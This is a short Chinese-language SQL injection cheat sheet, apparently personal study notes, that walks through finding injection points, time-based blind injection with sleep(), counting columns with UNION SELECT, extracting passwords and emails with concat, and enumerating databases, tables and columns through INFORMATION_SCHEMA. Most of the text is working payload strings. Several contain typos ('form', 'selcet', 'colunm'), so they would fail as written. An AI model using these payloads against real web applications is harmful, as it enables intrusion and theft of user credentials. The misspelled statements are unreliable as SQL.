1、找寻注入点
输入一个单引号,如果报错说明语法错误则存在注入点
执行的语句为:select xxx form xxx where x=‘‘’;
如果单引号没有反应,可尝试盲注
加时间进行尝试
X' and sleep(10) --ss'
sleep中的为时间,10即位10s
如果浏览器显示在加载中说明可能存在注册点
2、猜字段
Sql中数字可以作为字段进行匹配
因为使用union必须前后字段数量相同
' union select 1 -- '
' union select 1,2 -- '
' union select 1,2,3 -- '
...
如果前面语句中只有两个字段,但是想要获取4个其他表中字段值,使用concat
例:selcet id,name form user where = 输入框;
注入:selcet id,name form user where = ‘’ union select username,concat(password,' ',email,' ',address) from users --'
3、使用union获得其他表信息
获得当前数据库及用户信息
' union select version(),database() --'
数据库版本信息
version()
获得当前数据库名
database()
查询所有库名
'union select TABLE_SCHEMA from INFORMATION_SCHEMA.tables --'
查询表名
'union select table_name from INFORMATION_SCHEMA.tables --'
查询表名及对应的库名
'union select TABLE_SCHEMA,table_name from INFORMATION_SCHEMA.tables --'
查询数据表中的列名
'union select colunm_name from INFORMATION_SCHEMA.colunms where table_name='xxx表' --'